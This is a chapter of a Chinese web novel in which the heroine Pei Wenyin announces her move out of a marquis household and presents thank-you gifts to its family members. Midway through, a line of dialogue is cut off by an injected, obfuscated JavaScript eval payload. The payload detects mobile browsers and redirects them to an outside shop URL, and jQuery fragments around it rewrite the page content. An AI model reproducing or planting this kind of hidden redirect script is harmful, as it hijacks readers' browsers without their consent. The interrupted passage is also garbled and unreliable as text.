26. 丰厚谢礼

作品:《拜见仪鸾司大使

    “只要齐心协力,你和鸣玉就绝不是我们的负累。”


    栖云一听到裴文茵的话,便嚎啕大哭起来,“裴姑娘,起初……我和鸣玉被安排到棠梨苑,也是像看戏似的,想看看裴姑娘到底有什么过人之处,能求得大少爷同意收留……”


    “换做是我,也会这么想的。”裴文茵拿起手帕,为栖云擦拭眼泪,看着她哭红的眼,便把她揽进怀里安慰,“你和鸣玉待我和慕哥儿的好,我再清楚不过。从前的事,不必说了,往后我们劲往一处使,只怕用不了几年,银子花都花不完呢!”


    平日慌张,不过为了碎银几两。在襄阳侯府劳累一年,虽也能攒几两银子,但不到一个月的时间,裴姑娘打赏的银子,已比一年的月钱还多!


    栖云破涕为笑,有些为难:“裴姑娘,我哭成这样,实在不争气,要不我别去了。”


    “鸣玉藏不住事,倘若要离开襄阳侯府太开心,只怕主子们会看不惯,万一一生气,不放你们走,岂不坏事?况且,我要向她们讨要你们,你们不在场怎么行?上回兰猗姐姐来,不是说现在天儿太冷,老夫人特许辰正才去请安,现在尚早呢。”


    四人一起吃过早饭,裴文茵喝下汤药,便把锦盒数了又数,没少一个,才四人各抱几个锦盒,朝春晖堂走去。


    行了一射之地,裴文茵闻到崔姨娘身上的异香,驻足等待片刻,便见崔姨娘扭着腰肢,和丫鬟们走来了。


    “裴姑娘,这可是大好了?一大清早的,捧这么多锦盒作甚?”崔姨娘讲话仍是没那么清楚,话里话外却是极热情的。


    裴文茵也不藏着掖着,笑答:“不瞒崔姨娘,我和慕哥儿姑侄俩在侯府叨扰多日,这不快过年了,在外头已赁好了宅子,准备搬出去住。一想到大家对我的照拂,我就感激不尽,略备薄礼谢谢大家伙儿的照顾。”


    “你这就要搬出去住?才来住多久,也忒快了。”崔姨娘瞪圆了眼睛,惊诧万分。


    裴文茵翦水秋瞳里满是柔情,浅浅一笑,“虽是出去住了,以后还常来往。”


    没走多远,便撞见前往春晖堂请安的众人们,大家见棠梨苑四人都抱着锦盒,似有事情,不免多问了几句。


    年长的祁姨娘道:“裴姑娘,若是为了过年外客不能留宿的规矩而搬走,实在是没必要。你想想看,襄阳侯府,除了主子们,下人几百个,哪个不是外姓?这么多年,襄阳侯府如日中天,没出过什么事。住在外头虽没那么多规矩,到底就你们姑侄,样样要买所费甚大不说,还怕被人盯上。”


    “那可不!你这样如花似玉的大姑娘,哪个年轻后生看了不垂涎三尺?”


    贾姨娘说得粗俗,却引得众人连连点头。


    纵使单独另住困难重重,裴文茵已是打定主意不能留在襄阳侯府,便笑着敷衍过去。


    一行人进了春晖堂,老夫人王氏和侯夫人上官氏已按序坐好,众人齐行请安礼,便分别坐了。


    “大老远就听到你们的欢笑声,说什么这么开心呢?也讲讲,让我老婆子开心一下。”老夫人王氏开口笑道。


    众人朝祁姨娘使了个眼色,祁姨娘最年长,便当仁不让地解释道:“大家伙儿在路上碰到了裴姑娘,想两天前高热起来,病得跟个什么似的,现在竟好得七七八八了。只是裴姑娘说已赁好了宅子,要去外头住了,我们担心裴姑娘带着慕哥儿,不太安全,就多劝了几句。”


    老夫人王氏笑意全无,掰着手指头算了算,一脸疑云,“裴姑娘似是月初来的,这还没月末,不足一个月,便火急火燎地要搬出去住,可是那两个丫头伺候得不尽心?”


    “老夫人言重了,鸣玉和栖云被府上调教得很好,伺候我们就没有不尽心的。这次搬出去住,本就是在计划之中,加上先父母一直教导不可在别人家过年,便先预备起来。”


    裴文茵柔声答着,脸上挂着从容又得体的笑。


    “离过年还有一个多月,便是那么守礼,等过了小年再走也不迟,何必这么急慌慌地走呢?”老夫人王氏嘴里说着话,觑了上官氏几眼,看儿媳面色坦然,姑侄二人也比来时长了一些肉,精神头也好,该不是侯府苛待的。


    许久没开口的上官氏,总觉得从上头瞧过来的眼神不太和善,便笑着接话:“母亲说的是,我也这样劝裴姑娘,在侯府一应都是现成的,单独赁宅住,开支甚大。况且,咱们侯府上下都是二十发月钱,给裴姑娘发的是二两银子,一两公中出的,一两是我自个儿贴补给她的。”


    侯府主子们挽留,无非是担心外头说闲话,才收留姑侄住不到一个月就让人走了,没尽到礼数。可裴文茵实在不想再被人盯着一举一动,好似她留在府里就是为了勾引谢观澜。该撇清干系的已撇清,就算众人认为她一意孤行,自讨苦吃,也无妨。


    裴文茵眉目含笑,神色变得格外柔和,再度解释:“侯府主子们待我的好,铭感五内。只因还有个缘故,赁宅旁边便有一家书院,听闻教书的先生,颇有名望,还有进京赶考的举子也有,束脩又便宜,还管一日三顿饭。我想着慕哥儿已耽搁了许久没读书,趁着年前补一补,能读多少算多少。”


    老夫人王氏赞许地点头,“说来说去,竟是为了慕哥儿能读书,你这做姑姑的,可真是用心良苦。”


    “瞎打算罢了。”裴文茵谦声应了,便立了起来,“文茵和侄儿在府上叨扰多日,大家一直盛情款待,前两天我病了,也没人怕过了病气,都去棠梨苑瞧我。大家待我的好,不是亲人,胜似亲人。文茵略备薄礼,还望大家笑纳。”


    裴文茵亲自捧着锦盒,双手端给坐在高位的老夫人王氏,“老夫人,听闻您时常头疼,平日可多梳头缓解,送您一把鎏金点翠梳,还望收下。”


    “你这孩子,也忒多礼了。本就攒钱不易,还花这么多


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985738|193393||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    银子买把梳子送我,既是买了来送,也是你的心意,我便收下了。”老夫人王氏一讲完,碧玺已双手接了。


    随即,裴文茵又捧起一双锦盒,给侯爷的是一把紫砂茶壶,给上官氏送的是纯金八宝葫芦耳坠,这对耳坠的葫芦样式,为少见的扁葫芦,比实心葫芦看起来更轻盈,兼具美感。


    上官氏笑着一起收下了。


    接下来,裴文茵按照座位次序,依次给众人送礼。姨娘们皆是一样的,每人一支镀金嵌宝福禄簪,姑娘们不分嫡庶,也是一样的,每人一对鎏金镶玉耳坠。


    逐一送了,还剩两个一模一样的锦盒。


    裴文茵走到祁姨娘面前,“祁姨娘,虽说我与二少爷不曾往来,但听您说二少爷勤读诗书,我买了一套笔墨纸砚,祝二少爷早日高中,一举夺魁。”


    祁姨娘眼里充满了难以置信,直到沉甸甸的锦盒落在手上,才有了实感。


    祁姨娘和谢怀渊在侯府,虽然平日总说嫡庶没有区别,可大少爷已经官袍加身,往来的都是高官,说话又有见地,加上身边没有女人,侯府上下哪个不敬重他?她自个儿姿色平平,谢怀渊长相也只是周正而已,完全没法跟龙章凤姿的谢观澜比。


    而这一回,裴文茵才一个十几岁的姑娘,明明是靠着谢观澜才能入府,却给谢观澜和谢怀渊送一样的礼,一碗水端平,给足了祁姨娘和谢怀渊面子。


    祁姨娘满脸笑意,“裴姑娘真是个周到人,那就借你吉言,祝渊哥儿金榜题名。”


    紧接着,裴文茵捧起最后那个礼盒,走到谢兰猗面前,“兰猗姐姐,这份笔墨纸砚的薄礼,劳驾兰猗姐姐转送给大少爷。”


    谢兰猗没说什么,笑着代收了。


    送完谢礼,裴文茵再次开腔,“难得大家欢聚一堂,明儿皇上万寿节,老夫人和夫人要进宫贺寿,便聚不齐了。今儿个我也托大一回,做个东道。已经在鸿运楼叫了两桌席面,只是不知摆在哪里合适?”


    如此谦恭请示,老夫人王氏越发心疼,“好孩子,又是送谢礼,又是叫席面,没个几百两银子打不住。现在时辰尚早,把席面退了,省些银子也是好的。”


    赁宅每个月所费不多,加上吃穿,少则几两银子,多则几十两,丰俭由人。可送给大家的谢礼,都是精挑细选的,再加上席面,众人估摸着诚如老夫人所言,花了只怕几百两银子。


    不到一个月,哪来这么多银子?难道是找外头房贷人借的,还是另有什么路子?


    众人狐疑地看向裴文茵。


    裴文茵自知一下子大手笔送这么多礼,会惹人猜疑,可侯爷和谢观澜是晓得她一下子有二千多两银子傍身,要是一毛不拔,那才让人瞧不起呢。


    她半真半假地解释道:“托人卖了几幅修补好的画,赚了一些银子傍身,做个东道还是做得起的。还请老夫人和夫人明示,席面摆在哪里为宜?”